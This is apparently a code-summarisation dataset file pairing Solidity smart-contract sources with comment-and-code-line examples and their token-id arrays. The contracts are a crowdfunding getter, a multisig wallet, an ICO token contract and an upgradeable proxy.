[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3462, 1358, 288, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 1769, 203, 565, 445, 11013, 951, 12, 2867, 1147, 5541, 13, 1071, 1476, 1135, 261, 11890, 11013, 1769, 203, 565, 445, 1699, 1359, 12, 2867, 1147, 5541, 16, 1758, 17571, 264, 13, 1071, 1476, 1135, 261, 11890, 4463, 1769, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 2430, 13, 1071, 1135, 261, 6430, 2216, 1769, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 2430, 13, 1071, 1135, 261, 6430, 2216, 1769, 203, 565, 445, 7412, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 2430, 13, 1071, 1135, 261, 6430, 2216, 1769, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 2430, 1769, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 1147, 5541, 16, 1758, 8808, 17571, 264, 16, 2254, 2430, 1769, 203, 203, 282, 342, 16547, 16547, 8, 565, 342, 16547, 16547, 8, 565, 342, 16547, 16547, 8, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x90DdcEbD92C10D2CCD92c654F16D6536bF2EEEed/sources/contracts/CrowdFunding.sol
gives the list of all people who donated to campaigns in the app.
function getDonators(uint256 _id)view public returns(address[] memory, uint256[] memory){ return(campaigns[_id].donators, campaigns[_id].donations); }
11,609,047
[ 1, 75, 3606, 326, 666, 434, 777, 16951, 10354, 2727, 690, 358, 8965, 87, 316, 326, 595, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 915, 2343, 265, 3062, 12, 11890, 5034, 389, 350, 13, 1945, 1071, 1135, 12, 2867, 8526, 3778, 16, 2254, 5034, 8526, 3778, 15329, 203, 203, 565, 327, 12, 14608, 87, 63, 67, 350, 8009, 19752, 3062, 16, 8965, 87, 63, 67, 350, 8009, 19752, 1012, 1769, 203, 97, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-11-19 */ pragma solidity 0.8.10; /** * @title Multisig * @author 0age (derived from Christian Lundkvist's Simple Multisig) * @notice This contract is a multisig based on Christian Lundkvist's Simple * Multisig (found at https://github.com/christianlundkvist/simple-multisig). * Any changes in destination, ownership, or signature threshold will require * deploying a new multisig. */ contract Multisig { // Maintain a mapping of used hashes to prevent replays. mapping(bytes32 => bool) private _usedHashes; // Maintain a mapping and a convenience array of owners. mapping(address => bool) private _isOwner; address[] private _owners; // The destination is the only account the multisig can call. address private immutable _DESTINATION; // The threshold is an exact number of valid signatures that must be supplied. uint256 private immutable _THRESHOLD; // Note: Owners must be strictly increasing in order to prevent duplicates. constructor(address destination, uint256 threshold, address[] memory owners) { require(destination != address(0), "No destination address supplied."); _DESTINATION = destination; require(threshold > 0 && threshold <= 10, "Invalid threshold supplied."); _THRESHOLD = threshold; require(owners.length <= 10, "Cannot have more than 10 owners."); require(threshold <= owners.length, "Threshold cannot exceed total owners."); address lastAddress = address(0); for (uint256 i = 0; i < owners.length; i++) { require( owners[i] > lastAddress, "Owner addresses must be strictly increasing." ); _isOwner[owners[i]] = true; lastAddress = owners[i]; } _owners = owners; } function getHash( bytes calldata data, address executor, uint256 gasLimit, bytes32 salt ) external view returns (bytes32 hash, bool usable) { (hash, usable) = _getHash(data, executor, gasLimit, salt); } function getOwners() external view returns (address[] memory owners) { owners = _owners; } function isOwner(address account) external view returns (bool owner) { owner = _isOwner[account]; } function getThreshold() external view returns (uint256 threshold) { threshold = _THRESHOLD; } function getDestination() external view returns (address destination) { destination = _DESTINATION; } // Note: addresses recovered from signatures must be strictly increasing. function execute( bytes calldata data, address executor, uint256 gasLimit, bytes32 salt, bytes calldata signatures ) external returns (bool success, bytes memory returnData) { require( executor == msg.sender || executor == address(0), "Must call from the executor account if one is specified." ); // Derive the message hash and ensure that it has not been used before. (bytes32 rawHash, bool usable) = _getHash(data, executor, gasLimit, salt); require(usable, "Hash in question has already been used previously."); // wrap the derived message hash as an eth signed messsage hash. bytes32 hash = _toEthSignedMessageHash(rawHash); // Recover each signer from provided signatures and ensure threshold is met. address[] memory signers = _recoverGroup(hash, signatures); require(signers.length == _THRESHOLD, "Total signers must equal threshold."); // Verify that each signatory is an owner and is strictly increasing. address lastAddress = address(0); // cannot have address(0) as an owner for (uint256 i = 0; i < signers.length; i++) { require( _isOwner[signers[i]], "Signature does not correspond to an owner." ); require( signers[i] > lastAddress, "Signer addresses must be strictly increasing." ); lastAddress = signers[i]; } // Add the hash to the mapping of used hashes and execute the transaction. _usedHashes[rawHash] = true; (success, returnData) = _DESTINATION.call{gas:gasLimit}(data); } function _getHash( bytes memory data, address executor, uint256 gasLimit, bytes32 salt ) internal view returns (bytes32 hash, bool usable) { // Prevent replays across different chains. uint256 chainId; assembly { chainId := chainid() } // Note: this is the data used to create a personal signed message hash. hash = keccak256( abi.encodePacked(address(this), chainId, salt, executor, gasLimit, data) ); usable = !_usedHashes[hash]; } /** * @dev Returns each address that signed a hashed message (`hash`) from a * collection of `signatures`. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if a signature is invalid, or if the * signer is otherwise unable to be retrieved. In those scenarios, the zero * address is returned for that signature. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that recover * to arbitrary addresses for non-hashed data. */ function _recoverGroup( bytes32 hash, bytes memory signatures ) internal pure returns (address[] memory signers) { // Ensure that the signatures length is a multiple of 65. if (signatures.length % 65 != 0) { return new address[](0); } // Create an appropriately-sized array of addresses for each signer. signers = new address[](signatures.length / 65); // Get each signature location and divide into r, s and v variables. bytes32 signatureLocation; bytes32 r; bytes32 s; uint8 v; for (uint256 i = 0; i < signers.length; i++) { assembly { signatureLocation := add(signatures, mul(i, 65)) r := mload(add(signatureLocation, 32)) s := mload(add(signatureLocation, 64)) v := byte(0, mload(add(signatureLocation, 96))) } // EIP-2 still allows signature malleability for ecrecover(). Remove // this possibility and make the signature unique. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { continue; } if (v != 27 && v != 28) { continue; } // If signature is valid & not malleable, add signer address. signers[i] = ecrecover(hash, v, r, s); } } function _toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
Create an appropriately-sized array of addresses for each signer.
signers = new address[](signatures.length / 65);
1,967,956
[ 1, 1684, 392, 21419, 17, 87, 1235, 526, 434, 6138, 364, 1517, 10363, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1573, 414, 273, 394, 1758, 8526, 12, 30730, 18, 2469, 342, 15892, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x78b17cc10c4d34fbf6cb474731f7340e487a5db3 //Contract name: UTEMIS //Balance: 0 Ether //Verification Date: 1/8/2018 //Transacion Count: 187 // CODE STARTS HERE pragma solidity ^0.4.19; contract UTEMIS{ /******************** Public constants ********************/ // Days of ico since it is deployed uint public constant ICO_DAYS = 59; // Minimum value accepted for investors. n wei / 10 ^ 18 = n Ethers uint public constant MIN_ACCEPTED_VALUE = 50000000000000000 wei; // Value for each UTS uint public constant VALUE_OF_UTS = 666666599999 wei; // Token name string public constant TOKEN_NAME = "UTEMIS"; // Symbol token string public constant TOKEN_SYMBOL = "UTS"; // Total supply of tokens uint256 public constant TOTAL_SUPPLY = 1 * 10 ** 12; // The amount of tokens that will be offered during the ico uint256 public constant ICO_SUPPLY = 2 * 10 ** 11; // Minimum objective uint256 public constant SOFT_CAP = 10000 ether; // 10000 ETH // When the ico Starts - GMT Monday, January 8 , 2018 5:00:00 PM //1515430800; uint public constant START_ICO = 1515430800; /******************** Public variables ********************/ //Owner of the contract address public owner; //Date of end ico uint public deadLine; //Date of start ico uint public startTime; //Balances mapping(address => uint256) public balance_; //Remaining tokens to offer during the ico uint public remaining; //Time of bonus application, could be n minutes , n hours , n days , n weeks , n years uint[4] private bonusTime = [3 days , 17 days , 31 days , 59 days]; //Amount of bonus applicated uint8[4] private bonusBenefit = [uint8(40) , uint8(25) , uint8(20) , uint8(15)]; uint8[4] private bonusPerInvestion_5 = [uint8(0) , uint8(5) , uint8(3) , uint8(2)]; uint8[4] private bonusPerInvestion_10 = [uint8(0) , uint8(10) , uint8(5) , uint8(3)]; //The accound that receives the ether when the ico is succesful. If not defined, the beneficiary will be the owner address private beneficiary; //State of ico bool private ico_started; //Ethers collected during the ico uint256 public ethers_collected; //ETH Balance of contract uint256 private ethers_balance; //Struct data for store investors struct Investors{ uint256 amount; uint when; } //Array for investors mapping(address => Investors) private investorsList; address[] private investorsAddress; //Events event Transfer(address indexed from , address indexed to , uint256 value); event Burn(address indexed from, uint256 value); event FundTransfer(address backer , uint amount , address investor); //Safe math function safeSub(uint a , uint b) internal pure returns (uint){assert(b <= a);return a - b;} function safeAdd(uint a , uint b) internal pure returns (uint){uint c = a + b;assert(c>=a && c>=b);return c;} modifier onlyOwner() { require(msg.sender == owner); _; } modifier icoStarted(){ require(ico_started == true); require(now <= deadLine); require(now >= START_ICO); _; } modifier icoStopped(){ require(ico_started == false); require(now > deadLine); _; } modifier minValue(){ require(msg.value >= MIN_ACCEPTED_VALUE); _; } //Contract constructor function UTEMIS() public{ balance_[msg.sender] = TOTAL_SUPPLY; //Transfer all tokens to main account owner = msg.sender; //Set the variable owner to creator of contract deadLine = START_ICO + ICO_DAYS * 1 days; //Declare deadLine startTime = now; //Declare startTime of contract remaining = ICO_SUPPLY; //The remaining tokens to sell ico_started = false; //State of ico } /** * For transfer tokens. Internal use, only can executed by this contract * * @param _from Source address * @param _to Destination address * @param _value Amount of tokens to send */ function _transfer(address _from , address _to , uint _value) internal{ require(_to != 0x0); //Prevent send tokens to 0x0 address require(balance_[_from] >= _value); //Check if the sender have enough tokens require(balance_[_to] + _value > balance_[_to]); //Check for overflows balance_[_from] = safeSub(balance_[_from] , _value); //Subtract from the source ( sender ) balance_[_to] = safeAdd(balance_[_to] , _value); //Add tokens to destination uint previousBalance = balance_[_from] + balance_[_to]; //To make assert Transfer(_from , _to , _value); //Fire event for clients assert(balance_[_from] + balance_[_to] == previousBalance); //Check the assert } /** * For transfer tokens from owner of contract * * @param _to Destination address * @param _value Amount of tokens to send */ function transfer(address _to , uint _value) public onlyOwner{ _transfer(msg.sender , _to , _value); //Internal transfer } /** * ERC20 Function to know's the balances * * @param _owner Address to check * @return uint Returns the balance of indicated address */ function balanceOf(address _owner) constant public returns(uint balances){ return balance_[_owner]; } /** * Get investors info * * @return [] Returns an array with address of investors, amount invested and when invested */ function getInvestors() constant public returns(address[] , uint[] , uint[]){ uint length = investorsAddress.length; //Length of array address[] memory addr = new address[](length); uint[] memory amount = new uint[](length); uint[] memory when = new uint[](length); for(uint i = 0; i < length; i++){ address key = investorsAddress[i]; addr[i] = key; amount[i] = investorsList[key].amount; when[i] = investorsList[key].when; } return (addr , amount , when); } /** * Get total tokens distributeds * * @return uint Returns total tokens distributeds */ function getTokensDistributeds() constant public returns(uint){ return ICO_SUPPLY - remaining; } /** * Get amount of bonus to apply * * @param _ethers Amount of ethers invested, for calculation the bonus * @return uint Returns a % of bonification to apply */ function getBonus(uint _ethers) public view returns(uint8){ uint8 _bonus = 0; //Assign bonus to uint8 _bonusPerInvestion = 0; uint starter = now - START_ICO; //To control end time of bonus for(uint i = 0; i < bonusTime.length; i++){ //For loop if(starter <= bonusTime[i]){ //If the starter are greater than bonusTime, the bonus will be 0 if(_ethers >= 5 ether && _ethers < 10 ether){ _bonusPerInvestion = bonusPerInvestion_5[i]; } if(_ethers > 10 ether){ _bonusPerInvestion = bonusPerInvestion_10[i]; } _bonus = bonusBenefit[i]; //Asign amount of bonus to bonus_ variable break; //Break the loop } } return _bonus + _bonusPerInvestion; } /** * Escale any value to n * 10 ^ 18 * * @param _value Value to escale * @return uint Returns a escaled value */ function escale(uint _value) private pure returns(uint){ return _value * 10 ** 18; } /** * Calculate the amount of tokens to sends depeding on the amount of ethers received * * @param _ethers Amount of ethers for convert to tokens * @return uint Returns the amount of tokens to send */ function getTokensToSend(uint _ethers) public view returns (uint){ uint tokensToSend = 0; //Assign tokens to send to 0 uint8 bonus = getBonus(_ethers); //Get amount of bonification uint ethToTokens = _ethers / VALUE_OF_UTS; //Make the conversion, divide amount of ethers by value of each UTS uint amountBonus = escale(ethToTokens) / 100 * escale(bonus); uint _amountBonus = amountBonus / 10 ** 36; tokensToSend = ethToTokens + _amountBonus; return tokensToSend; } /** * Set the beneficiary of the contract, who receives Ethers * * @param _beneficiary Address that will be who receives Ethers */ function setBeneficiary(address _beneficiary) public onlyOwner{ require(msg.sender == owner); //Prevents the execution of another than the owner beneficiary = _beneficiary; //Set beneficiary } /** * Start the ico manually * */ function startIco() public onlyOwner{ ico_started = true; //Set the ico started } /** * Stop the ico manually * */ function stopIco() public onlyOwner{ ico_started = false; //Set the ico stopped } /** * Give back ethers to investors if soft cap is not reached * */ function giveBackEthers() public onlyOwner icoStopped{ require(this.balance >= ethers_collected); //Require that the contract have ethers uint length = investorsAddress.length; //Length of array for(uint i = 0; i < length; i++){ address investorA = investorsAddress[i]; uint amount = investorsList[investorA].amount; if(address(beneficiary) == 0){ beneficiary = owner; } _transfer(investorA , beneficiary , balanceOf(investorA)); investorA.transfer(amount); } } /** * Fallback when the contract receives ethers * */ function () payable public icoStarted minValue{ uint amount_actually_invested = investorsList[msg.sender].amount; //Get the actually amount invested if(amount_actually_invested == 0){ //If amount invested are equal to 0, will add like new investor uint index = investorsAddress.length++; investorsAddress[index] = msg.sender; investorsList[msg.sender] = Investors(msg.value , now); //Store investors info } if(amount_actually_invested > 0){ //If amount invested are greater than 0 investorsList[msg.sender].amount += msg.value; //Increase the amount invested investorsList[msg.sender].when = now; //Change the last time invested } uint tokensToSend = getTokensToSend(msg.value); //Calc the tokens to send depending on ethers received remaining -= tokensToSend; //Subtract the tokens to send to remaining tokens _transfer(owner , msg.sender , tokensToSend); //Transfer tokens to investor require(balance_[owner] >= (TOTAL_SUPPLY - ICO_SUPPLY)); //Requires not selling more tokens than those proposed in the ico require(balance_[owner] >= tokensToSend); if(address(beneficiary) == 0){ //Check if beneficiary is not setted beneficiary = owner; //If not, set the beneficiary to owner } ethers_collected += msg.value; //Increase ethers_collected ethers_balance += msg.value; if(!beneficiary.send(msg.value)){ revert(); } //Send ethers to beneficiary FundTransfer(owner , msg.value , msg.sender); //Fire events for clients } /** * Extend ICO time * * @param timetoextend Time in miliseconds to extend ico */ function extendICO(uint timetoextend) onlyOwner external{ require(timetoextend > 0); deadLine+= timetoextend; } /** * Destroy contract and send ethers to owner * */ function destroyContract() onlyOwner external{ selfdestruct(owner); } }
Subtract from the source ( sender )
balance_[_from] = safeSub(balance_[_from] , _value);
887,777
[ 1, 27904, 628, 326, 1084, 261, 5793, 262, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 11013, 67, 63, 67, 2080, 65, 540, 273, 4183, 1676, 12, 12296, 67, 63, 67, 2080, 65, 269, 389, 1132, 1769, 5375, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; import "./UpgradeableProxy.sol"; /** * @title OwnableUpgradeableProxy * @dev This contract combines an upgradeability proxy with basic authorization control functionalities */ contract OwnableUpgradeableProxy is UpgradeableProxy { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); // Storage position of the owner of the contract bytes32 private constant proxyOwnerPosition = keccak256("io.runningbeta.proxy.owner"); /** * @dev the constructor sets the original owner of the contract to the sender account. */ constructor(bytes32 _version, address _implementation, bytes _contentURI) public { _setProxyOwner(msg.sender); _upgradeTo(_version, _implementation, _contentURI); } /// @dev Throws if called by any account other than the owner. modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the owner * @return the address of the owner */ function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { owner := sload(position) } } /** * @dev Sets the address of the owner */ function _setProxyOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { sstore(position, newProxyOwner) } } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); _setProxyOwner(newOwner); } /** * @dev Allows the upgradeability owner to upgrade the current version of the proxy. * @param version representing the version name of the new implementation to be set. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(bytes32 version, address implementation, bytes _contentURI) public onlyProxyOwner { _upgradeTo(version, implementation, _contentURI); } /** * @dev Allows the upgradeability owner to upgrade the current version of the proxy and call the new implementation * to initialize whatever is needed through a low level call. * @param version representing the version name of the new implementation to be set. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(bytes32 version, address implementation, bytes _contentURI, bytes data) payable public onlyProxyOwner { _upgradeToAndCall(version, implementation, _contentURI, data); } /** * @dev Sets the contentURI of the current implementation * @param _contentURI bytes representing the external URI for fetching new version's content */ function updateContentURI(bytes _contentURI) public onlyProxyOwner { _setContentURI(_contentURI); } }
* @dev Allows the upgradeability owner to upgrade the current version of the proxy and call the new implementation to initialize whatever is needed through a low level call. @param version representing the version name of the new implementation to be set. @param implementation representing the address of the new implementation to be set. @param data represents the msg.data to bet sent in the low level call. This parameter may include the function signature of the implementation to be called with the needed payload/
function upgradeToAndCall(bytes32 version, address implementation, bytes _contentURI, bytes data) payable public onlyProxyOwner { _upgradeToAndCall(version, implementation, _contentURI, data); }
6,489,187
[ 1, 19132, 326, 8400, 2967, 3410, 358, 8400, 326, 783, 1177, 434, 326, 2889, 471, 745, 326, 394, 4471, 358, 4046, 15098, 353, 3577, 3059, 279, 4587, 1801, 745, 18, 225, 1177, 5123, 326, 1177, 508, 434, 326, 394, 4471, 358, 506, 444, 18, 225, 4471, 5123, 326, 1758, 434, 326, 394, 4471, 358, 506, 444, 18, 225, 501, 8686, 326, 1234, 18, 892, 358, 2701, 3271, 316, 326, 4587, 1801, 745, 18, 1220, 1569, 2026, 2341, 326, 445, 3372, 434, 326, 4471, 358, 506, 2566, 598, 326, 3577, 2385, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
